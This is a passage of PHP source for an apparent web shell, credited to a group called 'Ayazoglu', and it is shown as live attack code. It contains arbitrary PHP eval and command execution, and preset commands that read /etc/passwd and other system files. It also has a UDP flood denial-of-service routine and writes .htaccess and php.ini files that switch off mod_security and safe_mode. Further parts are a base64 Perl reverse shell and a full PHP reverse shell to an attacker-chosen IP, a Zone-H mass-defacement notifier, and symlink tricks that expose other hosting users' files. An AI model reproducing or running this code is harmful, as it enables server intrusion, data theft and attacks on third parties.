					case 13: $h[2] .= \' \'; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
					$h[1] .= \'<br>\';
					$h[2] .= "
";
				}
		 	}
			echo \'<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
			break;
		case \'rename\':
			if( !empty($_POST[\'p3\']) ) {
				if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
					echo \'Can\'t rename!<br>\';
				else
					die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
			}
			echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
			break;
		case \'touch\':
			if( !empty($_POST[\'p3\']) ) {
				$time = strtotime($_POST[\'p3\']);
				if($time) {
					if(!touch($_POST[\'p1\'],$time,$time))
						echo \'Fail!\';
					else
						echo \'Touched!\';
				} else echo \'Bad time format!\';
			}
			clearstatcache();
			echo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
			break;
	}
	echo \'</div>\';
	madFooter();
}  

function madphpeval()
{
    madhead();
    
    if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'ini\')) {
		echo \'<div class=header>\';
		ob_start();
		$INI=ini_get_all(); 
print \'<table border=0><tr>\'
	.\'<td class="listing"><font class="highlight_txt">Param</td>\'
	.\'<td class="listing"><font class="highlight_txt">Global value</td>\'
	.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'
	.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';
foreach ($INI as $param => $values) 
	print "
".\'<tr>\'
		.\'<td class="listing"><b>\'.$param.\'</td>\'
		.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'
		.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'
		.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';
		$tmp = ob_get_clean();
        $tmp = preg_replace(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);
		$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
		echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
	}
    
    if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {
		echo \'<div class=header><style>.p {color:#000;}</style>\';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(\'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);
		$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
		echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';
	}
    
    if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'exten\')) {
		echo \'<div class=header>\';
		ob_start();
	     $EXT=get_loaded_extensions ();
     print \'<table border=0><tr><td class="listing">\'
	.implode(\'</td></tr>\'."
".\'<tr><td class="listing">\', $EXT)
	.\'</td></tr></table>\'
	.count($EXT).\' extensions loaded\';
		
        
        echo \'</div><br>\';
	}
    
    
	if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = false;
    echo \'<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')">    | phpinfo |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')">   | extensions  |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>\';
	echo \'</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
	if(!empty($_POST[\'p1\'])) {
		ob_start();
		eval($_POST[\'p1\']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo \'</pre></div>\';
  
    madfooter();
}

function madhash()
{
    if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		\'Base64 encode\' => \'base64_encode\',
		\'Base64 decode\' => \'base64_decode\',
        \'md5 hash\' => \'md5\',
		\'sha1 hash\' => \'sha1\',
		\'crypt\' => \'crypt\',
		\'CRC32\' => \'crc32\',
		\'Url encode\' => \'urlencode\',
		\'Url decode\' => \'urldecode\',
		\'Full urlencode\' => \'full_urlencode\',
		\'Htmlspecialchars\' => \'htmlspecialchars\',
		
	);
	
	madhead();
	echo \'<div class=header>\';
	if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
	echo "<form  onSubmit=\'g(null,null,this.selectTool.value,this.input.value); return false;\'><select name=\'selectTool\'>";
	foreach($stringTools as $k => $v)
		echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
		echo "</select><input type=\'submit\' value=\'>>\'/><br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
	if(!empty($_POST[\'p1\'])) {
		if(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
	}
	echo "</div>";
	madFooter();
    
}
@$dos = $_GET[\'dos\'];
if($dos=="run"){

        $packets=0;
		ignore_user_abort(true);	

		$host = @$_GET[\'host\'];
		$exec_time =$_GET[\'time\'];
		$portudp = @$_GET[\'port\'];
	
        $time=time();
        $max_time=$exec_time+$time;
        
        
        for($i=0;$i<65000;$i++)
        {
            $out .= \'X\';
        }
        while(1){
    
         $packets++;
            if(time() > $max_time){
                    break;
            }
            
            $fp = fsockopen(\'udp://\'.$host, $portudp, $errno, $errstr, 5);
            if($fp){
                    fwrite($fp, $out);
                    fclose($fp);
            }
            }
         echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
         echo "</pre>";
 
}
function maddos()
{
    madhead();
    echo \'<div class=header>\';
  if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
  $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
  echo \'<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text"  size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input  type="submit" value=">>" /></form></center>\';
  echo "<pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' >";
    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\']) && !empty($_POST[\'p3\']))
    {
        $packets=0;
		ignore_user_abort(true);	
       
        $exec_time=$_POST[\'p2\'];
		$host=$_POST[\'p1\'];
		$portudp=$_POST[\'p3\'];
	
        $time=time();
        $max_time=$exec_time+$time;
        
        
        for($i=0;$i<65000;$i++)
        {
            $out .= \'X\';
        }
        while(1){
    
         $packets++;
            if(time() > $max_time){
                    break;
            }
            
            $fp = fsockopen(\'udp://\'.$host, $portudp, $errno, $errstr, 5);
            if($fp){
                    fwrite($fp, $out);
                    fclose($fp);
            }
            }
         echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
         echo "</pre>";
    }
    
    echo \'</div>\'; 
   
    madfooter();        
}

function madproc()
{
    madhead();
    echo "<Div class=header><center>";
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
  $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
  if($GLOBALS[\'sys\']=="win")
  {
    $process=array(
    "System Info" =>"systeminfo",
    "Active Connections" => "netstat -an",
 	"Running Services" => "net start",
 	"User Accounts" => "net user",
 	"Show Computers" => "net view",
    "ARP Table" => "arp -a",
    "IP Configuration" => "ipconfig /all"
    );
    }
  else
  { 
    $process=array(
    "Process status" => "ps aux",
    "Syslog" =>"cat  /etc/syslog.conf",
    "Resolv" => "cat  /etc/resolv.conf",
    "Hosts" =>"cat /etc/hosts",
    "Passwd" =>"cat /etc/passwd",
    "Cpuinfo"=>"cat /proc/cpuinfo",
    "Version"=>"cat /proc/version",
    "Sbin"=>"ls -al /usr/sbin",
    "Interrupts"=>"cat /proc/interrupts",
    "lsattr"=>"lsattr -va",
    "Uptime"=>"uptime",
    "Fstab" =>"cat /etc/fstab",
    "HDD Space" => "df -h"
    );}
    
    foreach($process as $n => $link)
    {
        echo \'<a href="#" onclick="g(null,null,\'\'.$link.\'\')"> | \'.$n.\' | </a>\';
    }
    echo "</center>"; 
     if(!empty($_POST[\'p1\']))
     {
        echo "<pre class=\'ml1\' style=\'margin-top:5px\' >";
        echo madEx($_POST[\'p1\']);
        echo \'</pre>\';
     }
     echo "</div>";
     madfooter();
     }
     
function madsafe()
{
    madhead();
    echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS[\'cwd\']." |<br>";
    echo \'<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>\';
    if(!empty($_POST[\'p2\']) && isset($_POST[\'p2\']))
    {
    $fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
    fwrite($fil,\'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>\');
    fclose($fil);
   }
   if(!empty($_POST[\'p1\'])&& isset($_POST[\'p1\']))
   {
    $fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
      fwrite($fil,\'safe_mode=OFF
disable_functions=NONE\');
     fclose($fil);
    }
    if(!empty($_POST[\'p3\']) && isset($_POST[\'p3\']))
    {
    $fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
    fwrite($fil,\'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl\');
     fclose($fil); 
    }
    echo "<br></div>";
    madfooter();
    
}

function madconnect()
{
 madhead();
 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
 echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";
 echo "<form  onSubmit=\"g(null,null,\'bcp\',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'443\'> <input type=submit value=\'>>\'></form>";
 echo "<br><form  onSubmit=\"g(null,null,\'php\',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type=\'text\' name=\'server\' value=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'> Port: <input type=\'text\' name=\'port\' value=\'443\'> <input type=submit value=\'>>\'></form></center>";
 if(isset($_POST[\'p1\'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists(\'file_put_contents\');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST[\'p1\'] == \'bcp\') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = madEx("perl /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." 1>/dev/null 2>&1 &");
			echo "<pre class=ml1 style=\'margin-top:5px\'>Successfully opened reverse shell to ".$_POST[\'p2\'].":".$_POST[\'p3\']."<br>Connecting...</pre>";
            @unlink("/tmp/bc.pl");
		}
        if($_POST[\'p1\']==\'php\')
 {
            
@set_time_limit (0);
$ip = $_POST[\'p2\']; 
$port =$_POST[\'p3\'];     
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = \'uname -a; w; id; /bin/sh -i\';
$daemon = 0;
$debug = 0;
echo "<pre class=ml1 style=\'margin-top:5px\'>";

if (function_exists(\'pcntl_fork\')) {
	
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		echo "Cant fork!<br>";
		exit(1);
	}
	
	if ($pid) {
		exit(0);  
	}

	if (posix_setsid() == -1) {
		echo "Error: Can\'t setsid()<br>";
		exit(1);
	}

	$daemon = 1;
} else {
	echo "WARNING: Failed to daemonise.  This is quite common and not fatal<br>";
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	echo "$errstr ($errno)";
	exit(1);
}


$descriptorspec = array(
   0 => array("pipe", "r"),  
   1 => array("pipe", "w"),  
   2 => array("pipe", "w")   
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	echo "ERROR: Can\'t spawn shell<br>";
	exit(1);
}


@stream_set_blocking($pipes[0], 0);
@stream_set_blocking($pipes[1], 0);
@stream_set_blocking($pipes[2], 0);
@stream_set_blocking($sock, 0);

echo "Successfully opened reverse shell to $ip:$port<br>";

while (1) {
	if (feof($sock)) {
		echo "ERROR: Shell connection terminated<br>";
		break;
	}

	if (feof($pipes[1])) {
		echo "ERROR: Shell process terminated<br>";
		break;
	}

	
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) echo "SOCK READ<br>";
		$input=fread($sock, $chunk_size);
		if ($debug) echo "SOCK: $input<br>";
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) echo "STDOUT READ<br>";
		$input = fread($pipes[1], $chunk_size);
		if ($debug) echo "STDOUT: $input<br>";
		fwrite($sock, $input);
	}

	
	if (in_array($pipes[2], $read_a)) {
		if ($debug) echo "STDERR READ<br>";
		$input = fread($pipes[2], $chunk_size);
		if ($debug) echo "STDERR: $input<br>";
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

echo "</pre>";
}

}   
 echo "</div>";
 madfooter();
}
function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
	$k = curl_init();
	curl_setopt($k, CURLOPT_URL, $url);
	curl_setopt($k,CURLOPT_POST,true);
	curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
	curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
	$kubra = curl_exec($k);
	curl_close($k);
	return $kubra;
}
function madzoneh()
{
    madhead();
    if(!function_exists(\'curl_version\'))
    {
        echo "<pre class=ml1 style=\'margin-top:5px\'><center><font color=red>PHP CURL NOT EXIT</font></center></pre>";
    }
    echo "<div class=header><center><br>";
    echo \'<h3><span>|ZONE-H MASS DEFACER |</span></h3>
    <form  onSubmit="g(null,null,this.defacer.value,this.hackmode.value,this.domain.value);return false;" >
    <span>| Notifier |</span><br>
<input type="text" name=defacer size="40" value="Attacker" /><br>
<select name=hackmode>
<option >--------SELECT--------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select><br>
<select  >
<option >Not available</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select><br>
<textarea name=domain cols="50" rows="15">List Of Domains</textarea>
<br>
<input type="submit" value=">>" /></form>\';
if(isset($_POST[\'p1\']) && isset($_POST[\'p2\']))
{
    $hacker =$_POST[\'p1\'];
    $method =$_POST[\'p2\'];
    $neden ="Not available";
    $site =$_POST[\'p3\'];
   $i = 0;
   $sites = explode("
", $site);
   echo "<pre class=ml1 style=\'margin-top:5px\'>";
	while($i < count($sites)) 
	{
	if(substr($sites[$i], 0, 4) != "http") 
	{
			$sites[$i] = "http://".$sites[$i];
	}
	ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
	echo "Site : ".$sites[$i]." Defaced !<br>";
	++$i;
	}
     
    "Sending Sites To Zone-H Has Been Completed Successfully !! </pre>";
}
echo "</div>";
madfooter();
    
}
function madspot()
{
    madhead();
    echo "<div class=header>";
    echo "<pre>
    
                           |`-:_
  ,----....____            |    `+.                                                           
 (             ````----....|___   |
  \     _                      ````----....____
   \    _)  Coded By: Ayazoglu                ```---.._                       
    \                                                   \ 
  )`.\  )`.   )`.   )`.   )`.   )`.   )`.   )`.   )`.   )`.   )hh
-\'   `-\'   `-\'   `-\'   `-\'   `-\'   `-\'   `-\'   `-\'   `-\'   `-\'   `
   Ayazoglu is a Team of professional Ethical Hackers From Turkey.
   We have Years of  Experience in  Security, Penetration & Coding 
   And can Break and Secure.
   
   Version 1.0
   
   Contact : http://www.ayazoglu.org
   
   if you found bug contact our team 
   
   


              .=\'\'=.             
             / _  _ \
            |  d  b  |
            \   /\   / 
           ,/\'-=\/=-\'\,
          / /        \ \     -----------------------------
         | / Ayazoglu   \ |    Ayazoglu Digital Security Team
         \/ \         / \/    -----------------------------
             \'.    .\'
             _|`~~`|_
             /|\  /|\    
	
       .- <O> -.        .-====-.      ,-------.      .-=<>=-.
   /_-\'\'\'/-_\      / / \'\' \ \     |,-----.|     /__----__\
  |/  o) (o  \|    | | \')(\' | |   /,\'-----\'.\   |/ (\')(\') \|
   \   ._.   /      \ \    / /   {_/(\') (\')\_}   \   __   /
   ,>-_,,,_-<.       >\'=jf=\'<     `.   _   .\'    ,\'--__--\'.
 / Mario       \    /        \     /\'-___-\'\    /    :|    \
(_)     .     (_)  /  Atess   \   / M-Usman \  (_)   :|   (_)
 \_-----\'____--/  (_)        (_) (_)_______(_)   |___:|____|
  \___________/     |________|     \_______/     | Afrasiab|


	
  
  
    </pre></div>";
    madfooter();
    
    }
    
function madsymlink()
{
    madhead();
    
$IIIIIIIIIIIl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
$IIIIIIIIIII1=explode(\'/\',$IIIIIIIIIIIl );
$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],\'\',$IIIIIIIIIIIl );  
    
    
    

   echo \'<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains | </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| Whole Server Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>\';
    
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'website\')
    {
        echo "<center>";
        $d0mains = @file("/etc/named.conf");
        if(!$d0mains){ echo "<pre class=ml1 style=\'margin-top:5px\'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }

 

echo "<table align=center class=\'main\'  border=0  >

<tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";
$count=1;

foreach($d0mains as $d0main){

if(@eregi("zone",$d0main)){

preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);

flush();

if(strlen(trim($domains[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));

echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user[\'name\']."</td><td></tr>"; flush();
$count++;
}}}
echo "</center></table>"; 
 }
 
 if(isset($_POST[\'p2\']) && $_POST[\'p2\']==\'whole\')
 {
    
    
    @set_time_limit(0);
    
    echo "<center>";
    //Pagerank

function StrToNum($Str, $Check, $Magic) 
{ 
    $Int32Unit = 4294967296;  // 2^32 

    $length = strlen($Str); 
    for ($i = 0; $i < $length; $i++) { 
        $Check *= $Magic;      
        //If the float is beyond the boundaries of integer (usually +/- 2.15e+9 = 2^31), 
        //  the result of converting to integer is undefined 
        //  refer to http://www.php.net/manual/en/language.types.integer.php 
        if ($Check >= $Int32Unit) { 
            $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit)); 
            //if the check less than -2^31 
            $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check; 
        } 
        $Check += ord($Str{$i}); 
    } 
    return $Check; 
} 

//--> for google pagerank 
/* 
* Genearate a hash for a url 
*/ 
function HashURL($String) 
{ 
    $Check1 = StrToNum($String, 0x1505, 0x21); 
    $Check2 = StrToNum($String, 0, 0x1003F); 

    $Check1 >>= 2;      
    $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F); 
    $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF); 
    $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);    
    
    $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F ); 
    $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 ); 
    
    return ($T1 | $T2); 
} 

//--> for google pagerank 
/* 
* genearate a checksum for the hash string 
*/ 
function CheckHash($Hashnum) 
{ 
    $CheckByte = 0; 
    $Flag = 0; 

    $HashStr = sprintf(\'%u\', $Hashnum) ; 
    $length = strlen($HashStr); 
    
    for ($i = $length - 1;  $i >= 0;  $i --) { 
        $Re = $HashStr{$i}; 
        if (1 === ($Flag % 2)) {              
            $Re += $Re;      
            $Re = (int)($Re / 10) + ($Re % 10); 
        } 
        $CheckByte += $Re; 
        $Flag ++;    
    } 

    $CheckByte %= 10; 
    if (0 !== $CheckByte) { 
        $CheckByte = 10 - $CheckByte; 
        if (1 === ($Flag % 2) ) { 
            if (1 === ($CheckByte % 2)) { 
                $CheckByte += 9; 
            } 
            $CheckByte >>= 1; 
        } 
    } 

    return \'7\'.$CheckByte.$HashStr; 
} 

function file_get_contents_curl($url) { 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser. 
    curl_setopt($ch, CURLOPT_URL, $url); 
    $data = curl_exec($ch); 
    curl_close($ch); 

    return $data; 
} 

//get google pagerank 
function getpagerank($url) { 
    $query="http://toolbarqueries.google.com/tbr?client=navclient-auto&hl=en&ch=".CheckHash(HashURL($url)). "&features=Rank&q=info:".$url."&num=100&filter=0"; 
    $data=file_get_contents_curl($query); 
    //print_r($data); 
    $pos = strpos($data, "Rank_"); 
    if($pos === false){} else{ 
        $pagerank = substr($data, $pos + 9); 
        return $pagerank; 
    } 
} 

//Pagerank
  
        
@mkdir(\'sym\',0777);
$IIIIIIIIIIl1  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$IIIIIIIIII1I =@fopen (\'sym/.htaccess\',\'w\');
fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink(\'/\',\'sym/root\');
$IIIIIIIIIlIl = basename(\'_FILE_\');
    
    
$IIIIIIIIIllI = @file(\'/etc/named.conf\');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
}
else
{
echo "<table align=\'center\' width=\'40%\' class=\'main\'><td>Domains</td><td>Users</td><td>symlink </td><td>Pagerank</td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi(\'zone\',$IIIIIIIIIll1)){
preg_match_all(\'#zone "(.*)"#\',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$IIIIIIIIIl11[1][0]));
$IIIIIIII1I1l = $IIIIIIIII1I1[\'name\'] ;
@symlink(\'/\',\'sym/root\');
$IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
$IIIIIIII1I11 = \'\.ir\';
$IIIIIIII1lII = \'\.il\';
if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )
{
$IIIIIIII1I1l = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px red; \'>".$IIIIIIIIIl11[1][0].\'</div>\';
}
$pr = getpagerank($IIIIIIIIIl11[1][0]);
if($pr==""){
$pr = "0";
}elseif($pr>=4){
$pr = \'<font color="red"><b>\'.$pr.\'</b></font>\';
}
echo "
<tr>

<td>
<a target=\'_blank\' href=http://www.".$IIIIIIIIIl11[1][0].\'/>\'.$IIIIIIII1I1l.\' </a>
</td>

<td>
\'.$IIIIIIIII1I1[\'name\']."
</td>

<td>
<a href=\'sym/root/home/".$IIIIIIIII1I1[\'name\']."/public_html\' target=\'_blank\'>symlink </a>
</td>
<td>".$pr."</td>

</tr>";
flush();
}
}
}
}
    
echo "</center></table>";    
    
 }
 
 
 
 if(isset($_POST[\'p3\']) && $_POST[\'p3\']==\'config\')
 
 
 {
  echo "<center>";
@mkdir(\'sym\',0777);
$IIIIIIIIIIl1  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$IIIIIIIIII1I =@fopen (\'sym/.htaccess\',\'w\');
@fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink(\'/\',\'sym/root\');
$IIIIIIIIIlIl = basename(\'_FILE_\');
  
   
   $IIIIIIIIIllI = @file(\'/etc/named.conf\');
if(!$IIIIIIIIIllI)
{
